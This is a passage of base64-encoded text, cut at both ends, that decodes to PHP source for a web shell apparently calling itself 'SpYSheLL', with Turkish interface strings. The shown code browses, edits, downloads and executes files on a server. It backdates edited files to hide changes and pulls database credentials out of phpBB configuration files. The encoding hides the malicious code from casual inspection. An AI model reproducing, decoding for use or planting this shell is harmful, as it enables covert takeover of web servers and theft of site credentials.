GVjb2RlIjsNCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBlY2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTImZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuazwvYT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxQPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQ0KICB7DQogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQ0KICAgZWNobyAkcjsNCiAgIGlmICgkd2hpdGUpIHthc2hzaGV4aXQoKTt9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsdHJ1ZSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gInBocHNlc3MiKQ0KICB7DQogICBlY2hvICI8cHJlPiI7DQogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsNCiAgIGVjaG8gJHZbMF0uIjxicj4iOw0KICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsNCiAgIGVjaG8gIjwvcHJlPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpDQogIHsNCiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAkZXh0ID0gJGV4dFskY107DQogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICRyZnQgPSAiIjsNCiAgIGZvcmVhY2goJGV4ZWZ0eXBlcyBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9DQogICB9DQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7DQogICBlY2hvICI8Yj5VeWd1bGFuYW1hZGkhIGRvc3lhOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJUYW1hbVwiPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKQ0KICB7DQogICBpZiAoZXJlZygicGhwIi4iQkIgMi4oLiopIGF1dG8tZ2VuZXJhdGVkIGNvbmZpZyBmaWxlIiwkcikpDQogICB7DQogICAgJGFyciA9IGV4cGxvZGUoIlxuIiwkcik7DQogICAgaWYgKGNvdW50KCRhcnIgPT0gMTgpKQ0KICAgIHsNCiAgICAgaW5jbHVkZSgkZC4kZik7DQogICAgIGVjaG8gIjxiPnBocEJCIGNvbmZpZ3VyYXRpb24gaXMgZGV0ZWN0ZWQgaW4gdGhpcyBmaWxlITxicj4iOw0KICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHskZGJtcyA9ICJteXNxbCI7fQ0KICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSBTcFlTaGVMTC4gUGxlYXNlLCByZXBvcnQgdXMgZm9yIGZpeC4iO30NCiAgICAgZWNobyAiUGFyYW1ldGVycyBmb3IgbWFudWFsIGNvbm5lY3Q6PGJyPiI7DQogICAgICRjZmd2YXJzID0gYXJyYXkoImRibXMiPT4kZGJtcywiZGJob3N0Ij0+JGRiaG9zdCwiZGJuYW1lIj0+JGRibmFtZSwiZGJ1c2VyIj0+JGRidXNlciwiZGJwYXNzd2QiPT4kZGJwYXNzd2QpOw0KICAgICBmb3JlYWNoICgkY2ZndmFycyBhcyAkaz0+JHYpIHtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGspLiI9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic8YnI+Ijt9DQogICAgIGVjaG8gIjwvYj48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgfQ0KICAgfQ0KICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgIGlmICghZW1wdHkoJHdoaXRlKSkge0BvYl9jbGVhbigpO30NCiAgIGhpZ2hsaWdodF9maWxlKCRkLiRmKTsNCiAgIGlmICghZW1wdHkoJHdoaXRlKSkge2FzaHNoZXhpdCgpO30NCiAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikNCiAgew0KICAgQG9iX2NsZWFuKCk7DQogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7DQogICBlY2hvICRyOw0KICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpDQogIHsNCiAgIEBvYl9jbGVhbigpOw0KICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsNCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICBlY2hvKCRyKTsNCiAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImltZyIpDQogIHsNCiAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgaWYgKCEkd2hpdGUpDQogICB7DQogICAgaWYgKGVtcHR5KCRpbWdzaXplKSkgeyRpbWdzaXplID0gMjA7fQ0KICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOw0KICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICBlY2hvICI8Y2VudGVyPjxiPlNpemU6PC9iPiZuYnNwOyI7DQogICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsNCiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmZD0iLnVybGVuY29kZSgkZCkuIiZpbWdzaXplPSIuJHYuIlwiPiI7DQogICAgIGlmICgkaW1nc2l6ZSAhPSAkdiApIHtlY2hvICR2O30NCiAgICAgZWxzZSB7ZWNobyAiPHU+Ii4kdi4iPC91PiI7fQ0KICAgICBlY2hvICI8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICB9DQogICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAkZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOw0KICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICBleGl0Ow0KICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0IikNCiAgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkRvc3lheWEgWWF6aWxhbWFkaSE8L2I+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgZWNobyAiPGI+S2F5ZGVkaWxkaSE8L2I+IjsNCiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsNCiAgICAgZmNsb3NlKCRmcCk7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAkciA9ICRlZGl0X3RleHQ7DQogICAgfQ0KICAgfQ0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3MgPSAzMDt9DQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4iYWN0PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkZnQpKSB7ZWNobyAiPGNlbnRlcj48Yj5NYW51YWxseSBzZWxlY3RlZCB0eXBlIGlzIGluY29ycmVjdC4gSWYgeW91IHRoaW5rLCBpdCBpcyBtaXN0YWtlLCBwbGVhc2Ugc2VuZCB1cyB1cmwgYW5kIGR1bXAgb2YgXCRHTE9CQUxTLjwvYj48L2NlbnRlcj4iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30NCiB9DQp9DQp9DQplbHNlDQp7DQogQG9iX2NsZWFuKCk7DQogJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUFBQUFBQVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1EiLg0KIlNJclVaR1pvZXJLZjI4S2pQTlBPYWt1NVJmWit1UXNLaDhSaW9nQUFPdz09IiwNCiJiYWNrIj0+DQoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuDQoiYUxyYy9qREtTV1dwalZ5c1NOaVlKNENVT0JKb3FqbmlJTHp3dXpMdFlOLzN6QlNFcmY2a0JXK2dLUmlQUmdoUGgrRUZLMG1PVUVxdCIuDQoiV2cwSkFEcz0iLA0KImJ1ZmZlciI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy8vajQrTjNkM2N6TXpMS3lzb2FHaHYvLy95SDVCQUVBQUFjQUxBQUFBQUFVQUJRQUFBTm8iLg0KImVMcmNyaWJHOTB5NEYxQW11NStOaFkya3hsMkNNS3dyUVJTR3VWanA0TG13REFXcWlBR0ZYQ2hnK3hoblJCK3B0TE9oYWkxY3JFbUQiLg0KIkRsd3Y0Y0VDNDZtaTJZZ0pRS2F4c0VHREZubkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwNCiJjaGFuZ2UiPT4NCiJSMGxHT0RsaEZBQVVBTVFmQUwzaGo3blgrcHFvMWVqeS9mN1lBY1RiKzh2aCs2RnRINTZXWnR2ci9SQVFFWmVjeDlMbC9QWDYvdjMrIi4NCiIvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0KzcyL2tPbTk5Zm8vUDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBIi4NCiJBQjhBTEFBQUFBQVVBQlFBQUFXZjRDZU9aR21lNk5tdExPdWxYK2M0VFZOVlE3ZTlxRnpmZzRIRm9ua2RKQTVTNTRjYlJBb0Z5RU9DIi4NCiJ3U2lVdG1Za2tyZ3dPQWVBNXpycWFMbGRCaU5NSUplRDI2NlhZVGdRRG01Ung4bWRHK29BYlNZZGFINEdhM2M4SkJNSmFYUUdCUWdBIi4NCiJDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQajFBRkFhTUtFS1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMIi4NCiJ6TXNoQURzPSIsDQoiZGVsZXRlIj0+DQoiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlPdlB6OC9iMjlzYWNwTlhWMWZYMTljd1hPZkR3OEtlbnAvbjUrZXRnZXVucCIuDQoiNmRjR0xNTXBSdXJxNnBLU2t0dmIyKy92Nysxd2gzUjBkUG5QMTdpQWlweHllbDlmWDdkamNzY1NNOTNkM1pHUmtlRXNUZXZkNExDdyIuDQoic0dSa1pHcE9VK0lmUStFUU5vaDZmZEljUGVIaDRZV0ZoYkpRWXZMeTh1aSt4bTV1YnN4Y2NPeDhrY000VXRZOVdlQWRRWW1KaWZXdiIuDQoidkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZLNVNVbEtZb1ArVGs1TjBvU3VmbjU3WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbCIuDQoiWmVBUE51ZEFYOXNLTVB2NysxNVFVNXVibTM5L2Y4ZTV1NHhpYXRyYTJ1Ykt6OFBEdytwZmVlOS9sTUswdDgxcmZkOEFLZi8vL3dBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINSIuDQoiQkFFQUFGa0FMQUFBQUFBVUFCUUFBQWVzZ0ZtQ2c0U0Zob2VJaGlVZklJbUlNbGdRQjQ2R0xBbFlRa2FGVlZoU0FJWkxUNWNiRVlJNCIuDQoiU1RvNU14T2ZoUXdCQTFnWUNoY2tRQmsxT3dpSUFMQUNMa2d4SmlsVEJJNjlSRmhERmg0SERKUlpWRmdQUEZCUjBGa05XRGRNSEE4RyIuDQoiQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJMDRkZ3IwUVdGY0tETDNBNHVPSWpWWlpBQnhRSVdEQkxrSUVRclJvUXNIUSIuDQoiandWRkhCZ2lFR1FGSWdRYXNZa2NTYkpRSUFBNyIsDQoiZG93bmxvYWQiPT4NCiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVVBQlFBQUFST0VNbEpxNzA0VXlHT3ZrTGhmVlU0a3BPSlNweDVuRjlZaUN0TGYwU3VIN3B1Ii4NCiJFWU9nY0Jna3dBaUdwSEtaekIySnhBREFTUUZDaWRRSnNNZmRHcXNESm5PUWxYVFAzOHByeldiWDNxZ0lBRHM9IiwNCiJmb3J3YXJkIj0+DQoiUjBsR09EbGhGQUFVQVBJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuDQoiYUxyYy9qREsyUXA5eFY1V2lONUc1MEZaYVJMRDZJaEU2NkxwdDNSRGJkOUNRRlNFNFArK1FXN0hlN1VLUGgwSXFWdzJsMFJRU0VxdCIuDQoiV3FzSkFEcz0iLA0KImhvbWUiPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TEt5c29hR2htWm1aZ1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFBQUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTIi4NCiJrcnFBc0xmSjdZUUJsNHRpUkNZRlNwUE1kUlJDb1FPaUw0aThDZ1pnazA5V2ZXTEJZWkhCNlVXakNlcXV3RURIdU9FVkszUXRnTi9qIi4NCiJWd01yQkRadmdGK0NoSGFHZVlpQ0JRWUhDSDhWQkphV2RBZVNsNVlpVzUrZ29CSVJBRHM9IiwNCiJtb2RlIj0+DQoiUjBsR09EbGhIUUFVQUxNQUFBQUFBUC8vLzZDZ3BOM2QzY3pNeklhR2htWm1abDlmWC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFkQUJRQUFBU0JFTWxKcTcwNDYxbTYvK0FIWk1VZ25HaXFuaU5XSEhBc3ozRjdGVUd1NzN4TyIuDQoiMkJaY3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1WjEwWHkxbEt0OHdwb0lzQUNyZGFxQnBZRVlLLyIuDQoiZEgxTFJXaUVlMHBSVFhCdlZId1VkM282ZUQ2T0hBU1htSm1hbUpVU1k1K2dueHVqcEJJUkFEcz0iLA0KInJlZnJlc2giPT4NCiJSMGxHT0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVycTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQXdBTEFBQUFBQVJBQlFBQUFSMWtNbEpxMFE0NjB4UitHQW9JTXZraGVJWWxNeUpCa0o4bG02WXhNS2k2eldZIi4NCiIzQUtDWWJqby9ZNEVRcUZnS0lZVWg4RXZ1V1E2UHdQRlFKcFVMcHVuclhaTHJZS3gyMEczb0RBNzA5M0VzdjE5cTVPL3dvRnU5WkFKIi4NCiJSM2x1Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1WG1KZ1JBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLg0KIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9IiwNCiJzbWFsbF91bmsiPT4NCiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12aC9NTGMreTFVIi4NCiJwOVBtL0dWdWZjN2ovTXpWLzlYbS9FT205OWJuL05qcC9hN1ErdFRtL0xIUytlWHcvdDNyL05ucC9kam8vTnJxL2ZqNy85dnEvTmZvIi4NCiIvTWJlKzhyaC9NbmcrN2pXK3J2WStyN1orN1hSOWREay9OSGsvTkxsL0xUVStyblgrOHppL0xiVisrZngvZTcyL3ZIMy92TDQvdTMxIi4NCiIvZTMxL3VEdS9kenIvT3J6L2VIdS9mWDYvdkg0L3YvLy8vdisvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3IvYityemErdlA0Ii4NCiIvdXowL3Vyei91NzEvdXZ6L2RUbi9NL2svTjNzL2R2ci9jamcrOFBkKzhIYytzZmYrOFRlKy9EMi9yWEk4ckhGOGJyTTg3Zko4bm1QIi4NCiJ3cjNOODYvRDhLdkI4RjluZUVGb3RFQm50RU5wdEVOcHRTeFVweDFJb0RsZnJUUmNyWmVleVphY3hwbWh6SXVSdHBXWnhJdU91S3F6Ii4NCiI5Wk9Xd1g2SXMzV0l1NWltMDdySjlKMnQyWmVrMG01N3JwcW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3UDZzUFM2c0RRIi4NCiI2NlhCNmNqWjhhL0s3OS9zL2Ribi9lenovY3pkOW1OMGpLVEI2YWkvNzZXOTduaVh6MkdDd1Y2QXdVZHN0WHlWeUdTRHdubVl6NGlvIi4NCiIyNE9pMWEzQjQ1U3k0YWU5NDRDY3o0U2oxbjJHbGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQWpuQUN0VkNrQ3c0SnhKQVFRcUZCakF4bzBNTkdxc0FCUUFoNkNGQTNuazBNSGlSUkVWRGh6c29MUXdBSjBnVDRUb2VjU0hBWU16Ii4NCiJhUWdvRE5DQ1NCNEVBbkltQ2lTQmpVeUdMb2JnWEJ